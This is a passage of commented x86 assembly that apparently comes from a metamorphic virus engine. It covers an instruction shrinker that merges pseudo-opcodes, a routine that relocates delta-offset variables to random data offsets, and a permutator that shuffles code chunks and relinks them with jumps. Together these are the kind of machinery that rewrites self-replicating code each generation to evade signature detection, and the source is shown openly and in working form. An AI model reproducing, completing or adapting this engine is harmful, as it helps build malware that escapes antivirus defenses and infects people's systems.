@@Triple_Next02_00:
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 3 ; Check if it's OP Mem,Reg in 2nd
|
|
jz @@Triple_Next02_OPMemReg
|
|
@@Triple_Next02_01:
|
|
cmp eax, 4 ; OP Mem,Imm?
|
|
jnz @@Triple_End
|
|
@@Triple_Next02_OPMemImm:
|
|
@@Triple_Next02_OPMemReg:
|
|
mov ebx, [edx+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edi+1] ; Check Mem operands to see if the
|
|
jnz @@Triple_End ; instructions use the same one (if
|
|
cmp eax, [esi+1] ; not, we can't compress them,
|
|
jnz @@Triple_End ; obviously)
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Triple_End
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
mov ebx, [edi+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edx+1]
|
|
jnz @@Triple_End
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edx+3]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+1] ; Set the new Mem operand
|
|
mov [esi+1], eax
|
|
mov eax, [edx+3]
|
|
mov [esi+3], eax
|
|
@@Triple_Next_SetNOP_1_3:
|
|
mov eax, 0FFh
|
|
mov [edx], al
|
|
mov [edi], al ; Overwrite with NOP the first and
|
|
jmp @@EndCompressed ; third instruction, since we used
|
|
; the second one to put the new
|
|
; instruction.
|
|
@@Triple_Next03:
|
|
mov eax, [edx]
|
|
cmp al, 44h ; Check for MOV Mem,Imm
|
|
jnz @@Triple_Next04
|
|
mov eax, [edi]
|
|
cmp al, 42h ; MOV Mem,Imm + xxx + MOV Reg,Mem?
|
|
jz @@Triple_Next03_Constr00
|
|
cmp al, 70h ; Jcc in 3rd?
|
|
jb @@Triple_Next04
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next04
|
|
mov eax, [esi]
|
|
@@Triple_Next03_Check_CMP_TEST:
|
|
cmp al, 3Ah ; CMP Reg,Mem (8 or 32 bits)
|
|
jz @@Triple_Next03_CMPRegImm
|
|
cmp al, 4Ah ; TEST Reg,Mem (" " " ")
|
|
jnz @@Triple_End
|
|
@@Triple_Next03_CMPRegImm:
|
|
@@Triple_Next03_TESTRegImm:
|
|
mov eax, [esi] ; Get 2nd instruction
|
|
and eax, 0F8h ; Convert it to OP Reg,Imm
|
|
mov [edx], al ; Set it at 1st instruction
|
|
mov eax, [esi+7]
|
|
mov [edx+1], al
|
|
mov eax, 0FFh
|
|
mov [esi], al
|
|
jmp @@EndCompressed
|
|
@@Triple_Next03_Constr00:
|
|
mov eax, [esi]
|
|
cmp eax, 0F6h ; Check if it's APICALL_STORE
|
|
jz @@Triple_Next03_Common_F6
|
|
cmp al, 4Ch ; Check if it's a common operation
|
|
ja @@Triple_Next04
|
|
@@Triple_Next03_Common:
|
|
and eax, 78h
|
|
cmp eax, 48h ; Common operation?
|
|
jb @@Triple_Next03_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2 ; Check if it's OP Reg,Mem
|
|
jz @@Triple_Next03_Common_F6
|
|
jmp @@Triple_End
|
|
@@Triple_Next03_00:
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 3 ; OP Mem,Reg?
|
|
jnz @@Triple_End
|
|
@@Triple_Next03_Common_F6:
|
|
mov eax, [edx+1] ; If the Mem operands are the same,
|
|
cmp eax, [esi+1] ; merge them
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+1]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+3]
|
|
jnz @@Triple_End
|
|
mov eax, [esi+7]
|
|
mov [edx+1], eax
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
jmp @@Triple_Next_SetInstruction
|
|
|
|
|
|
@@Triple_Next04:
|
|
mov eax, [edx]
|
|
cmp al, 44h+80h ; Same as above, but 8 bits instructs.
|
|
jnz @@Triple__Next04
|
|
mov eax, [edi]
|
|
cmp al, 42h+80h
|
|
jz @@Triple_Next04_Constr00
|
|
cmp al, 70h
|
|
jb @@Triple__Next04
|
|
cmp al, 7Fh
|
|
ja @@Triple__Next04
|
|
mov eax, [esi]
|
|
sub al, 80h
|
|
jmp @@Triple_Next03_Check_CMP_TEST
|
|
@@Triple_Next04_Constr00:
|
|
mov eax, [esi]
|
|
cmp al, 00h+80h
|
|
jb @@Triple__Next04
|
|
cmp al, 4Ch+80h
|
|
jbe @@Triple_Next03_Common
|
|
|
|
@@Triple__Next04:
|
|
|
|
|
|
@@Triple_End:
|
|
jmp @@EndNoCompressed ; If we didn't found any single,
|
|
; pair or triplet, end with flag of
|
|
@@EndCompressed: ; "not found"
|
|
mov eax, 1
|
|
pop edi
|
|
ret
|
|
@@EndNoCompressed:
|
|
xor eax, eax
|
|
pop edi
|
|
ret
|
|
ShrinkThisInstructions endp
|
|
|
|
;; This routine checks if the pseudoopcode passed uses a memory operand,
|
|
;; returning EAX = 1 if uses it, or 0 if it doesn't
|
|
CheckIfInstructionUsesMem proc
|
|
cmp eax, 4Eh ; Common op?
|
|
jbe @@Common
|
|
cmp eax, 4Fh ; MOV Mem,Mem --> return TRUE
|
|
jz @@UsesMem
|
|
cmp eax, 70h ; If 50/51/58/59 --> return bit 0
|
|
jb @@CheckLastBit
|
|
cmp eax, 80h ; Common 8 bits operations?
|
|
jb @@NoMem
|
|
cmp eax, 0CEh
|
|
jbe @@Common
|
|
cmp eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0
|
|
jbe @@CheckLastBit
|
|
cmp eax, 0EAh ; CALL Mem?
|
|
jz @@UsesMem
|
|
cmp eax, 0EBh ; JMP Mem?
|
|
jz @@UsesMem
|
|
cmp eax, 0F1h ; SHIFT Mem?
|
|
jz @@UsesMem
|
|
cmp eax, 0F3h ; SHIFT Mem8?
|
|
jz @@UsesMem
|
|
cmp eax, 0F6h ; APICALL_STORE?
|
|
jz @@UsesMem
|
|
cmp eax, 0F7h
|
|
jz @@UsesMem
|
|
cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
|
|
jz @@UsesMem
|
|
cmp eax, 0FCh ; LEA?
|
|
jz @@UsesMem
|
|
@@NoMem: xor eax, eax ; Return FALSE
|
|
ret
|
|
@@CheckLastBit:
|
|
and eax, 1 ; Return bit 0
|
|
ret
|
|
@@Common:
|
|
cmp eax, 4Eh ; Temporal info-transferring opcode
|
|
jz @@UsesMem
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jb @@NoMem
|
|
cmp eax, 4 ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm?
|
|
ja @@NoMem ; If not, return FALSE
|
|
@@UsesMem:
|
|
mov eax, 1
|
|
ret
|
|
CheckIfInstructionUsesMem endp
|
|
|
|
;; This function merges the Imms passed in ECX and EDX depending on the
|
|
;; operations passed in EBX and EAX. The return values are the result of
|
|
;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5
|
|
;; then the returned operation will be MOV EAX,1239. It's also made for
|
|
;; ADD + ADD/SUB and many more. If the operation can't be joined then the
|
|
;; return value is 0FEh. If there are no merging, but the first instruction
|
|
;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then
|
|
;; the return value is NOP.
|
|
; In:
|
|
;; ECX = First Imm
|
|
;; EDX = 2nd Imm
|
|
;; EAX = First OP
|
|
;; EBX = 2nd OP (in lower 8 bits)
|
|
; Out:
|
|
;; ECX = Value to OP
|
|
;; EAX = OP to perform
|
|
;; FEh if it isn't shrinkable.
|
|
;; FFh if we must eliminate 1st instruction and leave 2nd invariable.
|
|
CalculateOperation proc
|
|
;; ADC & SBB aren't treated since they aren't used by the engine.
|
|
and ebx, 0FFh
|
|
and eax, 0FFh
|
|
cmp ebx, 40h ; If 2nd instruction is MOV, eliminate 1st
|
|
jz @@Eliminate1st
|
|
cmp eax, 40h ; First instruction == MOV?
|
|
jz @@MOV ; Then, do the merge
|
|
or eax, eax ; ADD?
|
|
jz @@ADD
|
|
cmp eax, 8 ; OR?
|
|
jz @@OR
|
|
cmp eax, 20h ; AND?
|
|
jz @@AND
|
|
cmp eax, 28h ; SUB?
|
|
jz @@SUB
|
|
cmp eax, 30h ; XOR?
|
|
jz @@XOR
|
|
cmp eax, 38h ; CMP
|
|
jz @@Eliminate1st
|
|
cmp eax, 48h ; TEST
|
|
jnz @@Eliminate1st
|
|
jmp @@NoCompression
|
|
|
|
; Check a merging with the ADD as first instruction
|
|
@@ADD: or ebx, ebx ; 2nd instr. ADD?
|
|
jz @@ADD_ADD ; Then, merge
|
|
cmp ebx, 28h ; 2nd instr. SUB?
|
|
jz @@ADD_SUB ; Then, merge
|
|
jmp @@NoCompression ; Exit with no compression
|
|
|
|
; Try the merging with OR
|
|
@@OR: cmp ebx, 8 ; 2nd instruction == OR?
|
|
jz @@OR_OR ; Merge OR / OR
|
|
jmp @@NoCompression ; Exit with no compression
|
|
|
|
@@AND: cmp ebx, 20h ; Check AND / AND
|
|
jz @@AND_AND ; If it is, merge ANDs
|
|
jmp @@NoCompression ; Exit with no compression
|
|
|
|
@@SUB: or ebx, ebx ; Check SUB / ADD or SUB / SUB
|
|
jz @@SUB_ADD
|
|
cmp ebx, 28h
|
|
jnz @@NoCompression ; Exit with no compression
|
|
@@SUB_SUB: neg ecx ; Merge the SUBs into a single operation:
|
|
sub ecx, edx ; -(1st) - 2nd = ADD Imm
|
|
xor eax, eax
|
|
ret
|
|
@@SUB_ADD: sub edx, ecx ; 2nd - 1st = ADD Imm
|
|
mov ecx, edx
|
|
xor eax, eax
|
|
ret
|
|
|
|
@@XOR: cmp ebx, 30h ; XOR / XOR?
|
|
jz @@XOR_XOR ; Then merge XORs
|
|
jmp @@NoCompression ; If it's not XOR, don't merge
|
|
|
|
@@MOV: or ebx, ebx ; MOV / ADD?
|
|
jz @@MOV_ADD
|
|
cmp ebx, 8 ; MOV / OR?
|
|
jz @@MOV_OR
|
|
cmp ebx, 20h ; MOV / AND?
|
|
jz @@MOV_AND
|
|
cmp ebx, 28h ; MOV / SUB?
|
|
jz @@MOV_SUB
|
|
cmp ebx, 30h ; MOV / XOR?
|
|
jz @@MOV_XOR
|
|
@@NoCompression:
|
|
mov eax, 0FEh ; Set "no compression" return value
|
|
ret
|
|
@@Eliminate1st:
|
|
mov eax, 0FFh ; Set NOP to first instruction (and leave the
|
|
ret ; second instruction untouched)
|
|
|
|
@@ADD_ADD:
|
|
@@MOV_ADD: add ecx, edx ; MOV + ADD or ADD + ADD = Add both Imms
|
|
ret
|
|
@@OR_OR: ; MOV + OR or OR + OR = OR both Imms
|
|
@@MOV_OR: or ecx, edx
|
|
ret
|
|
@@AND_AND: ; MOV + AND or AND + AND = AND both Imms
|
|
@@MOV_AND: and ecx, edx
|
|
ret
|
|
@@ADD_SUB: ; MOV + SUB or ADD + SUB = SUB 2nd Imm from
|
|
@@MOV_SUB: sub ecx, edx ; first Imm
|
|
ret
|
|
@@XOR_XOR: ; MOV + XOR or XOR + XOR = XOR both Imms
|
|
@@MOV_XOR: xor ecx, edx
|
|
ret
|
|
CalculateOperation endp
|
|
|
|
;; This function merges two flag checks (like JNZ/JA, for example) to get a
|
|
;; direct check to use in a conditional jump.
|
|
;; In:
|
|
;; EAX = Flag to check 1
|
|
;; EBX = Flag to check 2
|
|
;; Out:
|
|
;; EAX = Direct flag (+70h = 7xh, opcode of Jcc)
|
|
;; = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP)
|
|
;; = 0FFh if no direct flag can be used
|
|
;; This function only tests the flags that are coded by this engine (not all
|
|
;; the possible types).
|
|
;;
|
|
;; Checks can be merged as:
|
|
;;
|
|
;; X(even) + X+1 = JMP(unconditional)
|
|
;; NB(3) + E(4) = NB(3)
|
|
;; NB(3) + A(7) = NB(3)
|
|
;; E(4) + A(7) = NB(3)
|
|
;;
|
|
;; B(2) + A(7) = NE(5)
|
|
;; B(2) + NE(5) = NE (5)
|
|
;; NE(5) + A(7) = NE(5)
|
|
;;
|
|
;; B(2) + E(4) = BE(6)
|
|
;; B(2) + BE(6) = BE(6)
|
|
;; E(4) + BE(6) = BE(6)
|
|
;;
|
|
;; NB(3) + BE(6) = JMP(unconditional)
|
|
;; NE(5) + BE(6) = JMP (unconditional)
|
|
|
|
|
|
GetRealCheck proc
|
|
cmp eax, ebx
|
|
jb @@1
|
|
mov ecx, ebx
|
|
mov edx, eax
|
|
jmp @@2
|
|
@@1: mov ecx, eax
|
|
mov edx, ebx
|
|
@@2: test ecx, 1 ; ECX <= EDX
|
|
jnz @@NoUnconditional
|
|
sub edx, 1 ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an
|
|
cmp ecx, edx ; unconditional JMP (for example,
|
|
jz @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc.
|
|
add edx, 1
|
|
@@NoUnconditional:
|
|
cmp ecx, edx ; If Jcc1 == Jcc2, the result is the same Jcc
|
|
jz @@ReturnCurrent
|
|
cmp ecx, 2 ; JB?
|
|
jz @@Check2_x
|
|
cmp ecx, 3 ; JAE?
|
|
jz @@Check3_x
|
|
cmp ecx, 4 ; JZ?
|
|
jz @@Check4_x
|
|
cmp ecx, 5 ; JNZ?
|
|
jnz @@NoOption
|
|
;; Check merge with JNZ
|
|
@@Check5_x:
|
|
cmp edx, 7 ; JNZ + JA?
|
|
jz @@SetNE ; Then, set JNZ
|
|
cmp edx, 6 ; JNZ + JBE?
|
|
jz @@UnconditionalJump ; Then, set JMP (unconditional)
|
|
jmp @@NoOption ; If there isn't any of these options, it
|
|
; can't be compressed
|
|
;; Check merge with JB
|
|
@@Check2_x:
|
|
cmp edx, 4 ; If 2nd < 4, it can't be compressed
|
|
jb @@NoOption
|
|
cmp edx, 7 ; If 2nd > 7, it can't be compressed
|
|
ja @@NoOption
|
|
test edx, 1 ; JB + JNZ/JA = JNZ
|
|
jnz @@SetNE
|
|
jmp @@SetBE ; JB + JZ/JBE = JBE
|
|
|
|
;; Check merge with JAE
|
|
@@Check3_x:
|
|
cmp edx, 4 ; JAE + JZ = JAE
|
|
jz @@SetNB
|
|
cmp edx, 7 ; JAE + JA = JAE
|
|
jz @@SetNB
|
|
cmp edx, 6 ; JAE + JBE = JMP
|
|
jz @@UnconditionalJump
|
|
jmp @@NoOption ; Others can't be compressed
|
|
|
|
;; Check merge with JZ
|
|
@@Check4_x:
|
|
cmp edx, 6 ; JZ + JBE = JBE
|
|
jz @@SetBE
|
|
cmp edx, 7 ; JZ + JA = JAE/JNB
|
|
jnz @@NoOption
|
|
; jmp @@SetNB
|
|
|
|
@@SetNB: mov eax, 3 ; Set JAE
|
|
ret
|
|
@@SetNE: mov eax, 5 ; Set JNZ
|
|
ret
|
|
@@SetBE: mov eax, 6 ; Set JBE
|
|
ret
|
|
@@NoOption:
|
|
mov eax, 0FFh ; Set "no compression"
|
|
@@ReturnCurrent:
|
|
ret
|
|
@@UnconditionalJump:
|
|
mov eax, 79h ; Set JMP
|
|
ret
|
|
GetRealCheck endp
|
|
;;
|
|
;;
|
|
;; End of shrinker
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!VarIdent
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; ********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The variable identificator
|
|
;; --------------------------
|
|
;;
|
|
;; Little function that substitutes all the variables referenced along the
|
|
;; code by pointers to a table. These pointers will allow later the
|
|
;; repositioning of all the variables that are used by the whole code. It's
|
|
;; much like the label tables for displacement instructions, but this time
|
|
;; for variable referencing.
|
|
;;
|
|
;; The variables are identified by using the function from the shrinker
|
|
;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when
|
|
;; the variable only has DeltaRegister as the index.
|
|
;;
|
|
|
|
|
|
;;
|
|
;; ECX = Delta offset register (must be known)
|
|
;; [VariableTable] = Address of buffer to store variables
|
|
;; [NumberOfVariables] = Place to store the number of variables
|
|
;;
|
|
IdentifyVariables proc
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+VariableTable]
|
|
xor eax, eax
|
|
mov [ebp+NumberOfVariables], eax ; Initialization
|
|
|
|
@@LoopGetVar:
|
|
xor eax, eax ; Get the instruction
|
|
mov al, [esi] ; Check if it's LEA
|
|
cmp eax, 0FCh ; If it is, don't take it in account
|
|
jz @@NextInstruction
|
|
call CheckIfInstructionUsesMem ; Get the usage of Mem by
|
|
; this instruction.
|
|
or eax, eax ; EAX = 0?
|
|
jz @@NextInstruction ; Then, it doesn't
|
|
mov al, [esi+1] ; Get first index
|
|
cmp eax, ecx ; Delta register?
|
|
jz @@DeltaOffsetAt1 ; If it's, jump
|
|
mov al, [esi+2] ; Get the second index
|
|
cmp eax, ecx ; Delta register?
|
|
jz @@DeltaOffsetAt2 ; If it's, jump
|
|
@@NextInstruction:
|
|
add esi, 10h ; Next instruction
|
|
cmp esi, [ebp+AddressOfLastInstruction] ; Last instr.?
|
|
jnz @@LoopGetVar ; If not, jump
|
|
jmp @@SelectNewVariables ; Jump to regarble the variables.
|
|
@@DeltaOffsetAt1:
|
|
mov al, [esi+2] ; Get the index where the Delta
|
|
jmp @@Continue_01 ; register wasn't
|
|
@@DeltaOffsetAt2:
|
|
mov al, [esi+1]
|
|
@@Continue_01:
|
|
cmp eax, 8 ; Is it another index?
|
|
jnz @@NextInstruction ; If it is, don't change it.
|
|
mov eax, [esi+3] ; Get addition.
|
|
mov edx, [ebp+VariableTable] ; Get the variable table
|
|
mov ebx, [ebp+NumberOfVariables] ; Get the counter of
|
|
; variables.
|
|
sub eax, [ebp+_DATA_SECTION] ; Get the offset inside the
|
|
and eax, 0FFFFFFF8h ; data_section
|
|
@@LookForVariable:
|
|
or ebx, ebx ; If we haven't found the variable
|
|
jz @@InsertVariable ; already inserted, insert it
|
|
cmp eax, [edx] ; Check if it exists
|
|
jz @@VariableExists ; If exists, jump
|
|
add edx, 4 ; Check next variable
|
|
sub ebx, 4
|
|
jmp @@LookForVariable
|
|
@@InsertVariable: ; Insert the variable in the table
|
|
mov [edx], eax ; and use EDX as the new variable
|
|
mov eax, [ebp+NumberOfVariables] ; entry
|
|
add eax, 4
|
|
mov [ebp+NumberOfVariables], eax
|
|
@@VariableExists:
|
|
mov eax, 00000809h ; Set the index 9, which means
|
|
mov [esi+1], eax ; "variable identifier".
|
|
mov [esi+3], edx ; Variable address at table
|
|
jmp @@NextInstruction
|
|
|
|
@@SelectNewVariables:
|
|
mov ecx, 20000h / 4 ; Initialize the table of marks
|
|
mov edi, [ebp+VarMarksTable] ; for variables. This helps
|
|
xor eax, eax ; us to select new variables.
|
|
@@LoopInitializeMarks:
|
|
mov [edi], eax ; Initialize with 0s all the table
|
|
add edi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopInitializeMarks
|
|
|
|
;; Now what we are going to do is to get all the variables from the variable
|
|
;; table and select a new offset inside the DATA_SECTION for every one. In
|
|
;; this way the variables never point to the same place nor have a proportion
|
|
;; between them.
|
|
mov ecx, [ebp+NumberOfVariables] ; Get the table in EBX,
|
|
mov ebx, [ebp+VariableTable] ; ECX = number of entries
|
|
@@LoopGetNewVar:
|
|
call Random ; Select a new position
|
|
and eax, 01FFF8h
|
|
add eax, [ebp+VarMarksTable] ; Get the mark of the var.
|
|
|
|
mov edx, [eax] ; Is that address already reserved?
|
|
or edx, edx
|
|
jnz @@LoopGetNewVar ; If it is, select another one
|
|
|
|
mov edx, 1 ; Reserve that variable to avoid the
|
|
mov [eax], edx ; reselection of the offset
|
|
sub eax, [ebp+VarMarksTable]
|
|
push ebx ; Get the offset inside DATA_SECTION
|
|
mov ebx, eax
|
|
call Random ; Add a random from 0 to 3
|
|
and eax, 3
|
|
add eax, ebx
|
|
pop ebx
|
|
mov [ebx], eax ; Set the new address of the variable
|
|
add ebx, 4
|
|
sub ecx, 4 ; Next variable
|
|
or ecx, ecx ; Have we reached the end?
|
|
jnz @@LoopGetNewVar ; If not, loop again
|
|
|
|
ret ; Return
|
|
IdentifyVariables endp
|
|
;;
|
|
;;
|
|
;; End of variable identificator
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!Permutator
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; ********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The permutator
|
|
;;---------------
|
|
;;
|
|
;; The code here will divide in chunks of code all the disassembled made
|
|
;; before, and then linked with jumps. All the labels are also fixed, so
|
|
;; the returned permutation could be reassembled without problems.
|
|
;;
|
|
;; First, the table is generated, then shuffled and after that used to copy
|
|
;; the instructions in the order the table says. The table will be generated
|
|
;; taking the first instruction address as the beginning of the frame
|
|
;; generator, and then creating pairs of "beginnings" and "ends" of portions,
|
|
;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc.
|
|
;;
|
|
;; We keep in every shuffle loop the situation of the first chunk of code,
|
|
;; since it's the entrypoint. Moreover, when making the portions we scan for
|
|
;; some specific instructions that it's better to not fragment (for example,
|
|
;; CALL [API_Address] and APICALL_STORE).
|
|
;;
|
|
PermutateCode proc
|
|
xor eax, eax
|
|
mov [ebp+NumberOfJumps], eax ; Initialize this
|
|
mov edi, [ebp+FramesTable]
|
|
mov ecx, [ebp+AddressOfLastInstruction]
|
|
mov eax, [ebp+InstructionTable]
|
|
mov esi, eax
|
|
sub ecx, eax ; Number of instructions * 10h
|
|
|
|
@@NextFrame:
|
|
call Random ; Get a random number between F0h and 1E0h
|
|
and eax, 0F0h
|
|
add eax, 0F0h
|
|
mov [edi], esi ; Set the beginning of the first frame
|
|
add esi, eax
|
|
mov [edi+4], esi ; Set the end as beginning+the random
|
|
mov ebx, esi
|
|
@@LoopCheckInst00:
|
|
sub ebx, 10h ; Get the last instruction
|
|
cmp ebx, [edi] ; If we meet the first instruction, stop
|
|
jz @@CheckInst_Next00
|
|
mov edx, [ebx] ; Get the pseudoopcode
|
|
and edx, 0FFh
|
|
cmp edx, 0FFh ; Is it NOP?
|
|
jz @@LoopCheckInst00 ; Then decrease again (ignore it)
|
|
cmp edx, 0EAh ; API CALL?
|
|
jnz @@CheckInst_Next00 ; If not, finish
|
|
@@LoopCheckInst01:
|
|
add ebx, 10h ; Get the next address
|
|
cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last
|
|
jz @@CheckInst_Next00 ; instruction, finish
|
|
mov edx, [ebx] ; Get the opcopde
|
|
and edx, 0FFh
|
|
cmp edx, 0FFh ; NOP?
|
|
jz @@LoopCheckInst01 ; If NOP, loop again
|
|
cmp edx, 0F6h ; Check for APICALL_STORE
|
|
jnz @@CheckInst_Next00 ; If it isn't, continue
|
|
add ebx, 10h ; Include APICALL_STORE in the frame
|
|
sub ebx, esi
|
|
add eax, ebx
|
|
add esi, ebx
|
|
mov [edi+4], esi
|
|
@@CheckInst_Next00:
|
|
mov ebx, esi ; Get the address of the last
|
|
jmp @@DontAdd10hYet ; instruction of the frame and jump
|
|
@@LoopCheckInst02:
|
|
add ebx, 10h ; Next instruction
|
|
@@DontAdd10hYet:
|
|
cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last
|
|
jz @@CheckInst_Next01 ; instruction, finish loop
|
|
mov edx, [ebx]
|
|
and edx, 0FFh
|
|
cmp edx, 0FFh ; NOP?
|
|
jz @@LoopCheckInst02 ; If NOP, get the next instruction
|
|
cmp edx, 0E9h ; JMP?
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 0FEh ; RET?
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 0EBh ; JMP Mem?
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 0EDh ; JMP Reg?
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 70h ; Jcc?
|
|
jb @@CheckInst_Next01
|
|
cmp edx, 7Fh
|
|
ja @@CheckInst_Next01
|
|
|
|
;; Include the next instructions in the same frame:
|
|
;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be
|
|
;; compressed and then never eliminated (or something like that)
|
|
;; (3D problems :)
|
|
;; RET: The same: we avoid situations where a single RET is pointed by a
|
|
;; jump.
|
|
;; JMP Mem: Same as RET.
|
|
;; JMP Reg: Same as RET.
|
|
;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making
|
|
;; the shrinker to eliminate a single CMP/TEST.
|
|
|
|
@@CheckInst_IncludeInstruction:
|
|
add ebx, 10h ; Add instructions to the frame until all
|
|
push ebx ; the conflictive instructions are inserted
|
|
sub ebx, esi ; in the same frame. The others don't
|
|
add eax, ebx ; matter if they are wherever we want.
|
|
add esi, ebx
|
|
mov [edi+4], esi
|
|
pop ebx
|
|
jmp @@DontAdd10hYet
|
|
@@CheckInst_Next01:
|
|
add edi, 8 ; Increase the frame pointer
|
|
sub ecx, eax
|
|
cmp ecx, 01E0h ; Are we inside our last instructions?
|
|
jae @@NextFrame ; If we aren't, generate another
|
|
or ecx, ecx ; If we have arrived until the last
|
|
jz @@FramesCreationFinished ; instruction, it's finished.
|
|
mov [edi], esi ; Insert the instruction of this
|
|
add esi, ecx ; frame and the last instruction.
|
|
mov [edi+4], esi
|
|
add edi, 8
|
|
@@FramesCreationFinished:
|
|
mov [ebp+AddressOfLastFrame], edi ; Set the last frame.
|
|
@@TempLabel:
|
|
|
|
;; Calculate MOD
|
|
mov eax, edi ; Get a value we can use for
|
|
mov ebx, [ebp+FramesTable] ; mask a random number. The
|
|
sub eax, ebx ; value is got from the total
|
|
; EAX = Number of frames * 8 ; number of frames.
|
|
mov ebx, 8
|
|
@@LoopCalculateMOD:
|
|
shl ebx, 1
|
|
cmp ebx, eax
|
|
jb @@LoopCalculateMOD
|
|
sub ebx, 8
|
|
mov [ebp+MODValue], ebx
|
|
|
|
;; Now we have frames that we can permutate. We save the address of
|
|
;; the first frame to know where to jump when the code is reassembled
|
|
mov esi, [ebp+FramesTable]
|
|
mov [ebp+PositionOfFirstInstruction], esi
|
|
|
|
;; The frames are permutated. We have taken in account the first
|
|
;; instruction and we save everytime the address where the first
|
|
;; instruction is.
|
|
;; ESI = Table of frames
|
|
;; EDI = Address of last frame
|
|
mov edx, esi
|
|
@@LoopExchange:
|
|
call Random
|
|
mov ebx, [ebp+MODValue]
|
|
and eax, ebx
|
|
add eax, esi ; Get frame in EAX
|
|
|
|
; ; Uncommenting this instruction the engine doesn't permutate anything
|
|
; ; (used to avoid getting crazy while finding bugs in regenerated codes)
|
|
; mov eax, edx
|
|
|
|
cmp eax, edi ; Frame address > last frame address?
|
|
jae @@LoopExchange ; If so, get other random frame
|
|
mov ecx, [eax] ; Exchange frame at EDX with the random
|
|
mov ebx, [edx] ; frame got above.
|
|
mov [eax], ebx
|
|
mov [edx], ecx ; Be aware of first instruction position!
|
|
cmp edx, [ebp+PositionOfFirstInstruction]
|
|
jnz @@LookEAX
|
|
mov [ebp+PositionOfFirstInstruction], eax
|
|
jmp @@ExchangeNext
|
|
@@LookEAX:
|
|
cmp eax, [ebp+PositionOfFirstInstruction]
|
|
jnz @@ExchangeNext
|
|
mov [ebp+PositionOfFirstInstruction], edx
|
|
@@ExchangeNext:
|
|
add eax, 4
|
|
add edx, 4
|
|
mov ecx, [eax] ; Exchange frame
|
|
mov ebx, [edx]
|
|
mov [eax], ebx
|
|
mov [edx], ecx
|
|
add edx, 4 ; Next frame
|
|
cmp edx, edi ; Last frame?
|
|
jb @@LoopExchange ; If not, exchange next
|
|
|
|
;; Now we are going to copy the instructions and update the label
|
|
;; addresses in the label table. We include NOPs because they can
|
|
;; have a label over them, and if we eliminate them the label
|
|
;; updating will be problematic.
|
|
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+PermutationResult]
|
|
mov ebx, [ebp+FramesTable]
|
|
|
|
mov eax, [ebp+PositionOfFirstInstruction]
|
|
cmp ebx, eax
|
|
jnz @@InsertJump2
|
|
@@LoopCopyFrame:
|
|
mov eax, 0FFh
|
|
mov [ebp+Permut_LastInstruction], eax
|
|
mov edx, [ebx] ; Get the start and end address of the
|
|
add ebx, 4 ; frame and copy the instructions.
|
|
mov ecx, [ebx]
|
|
add ebx, 4
|
|
@@LoopCopyInstructions:
|
|
mov eax, [edx]
|
|
cmp al, 4Fh ; If we find a remaining pseudoopcode
|
|
jnz @@NextInstruction ; 4F from the shrinking part, we
|
|
mov al, 51h ; substitute it by the correct one:
|
|
mov [edx], eax ; PUSH Mem2/POP Mem
|
|
push eax
|
|
push ebx
|
|
mov ebx, [edx+7]
|
|
mov eax, 59h
|
|
mov [ebx], al
|
|
pop ebx
|
|
pop eax
|
|
@@NextInstruction:
|
|
mov [edi], eax ; Copy the instruction
|
|
mov eax, [edx+4]
|
|
mov [edi+4], eax
|
|
mov eax, [edx+8]
|
|
mov [edi+8], eax
|
|
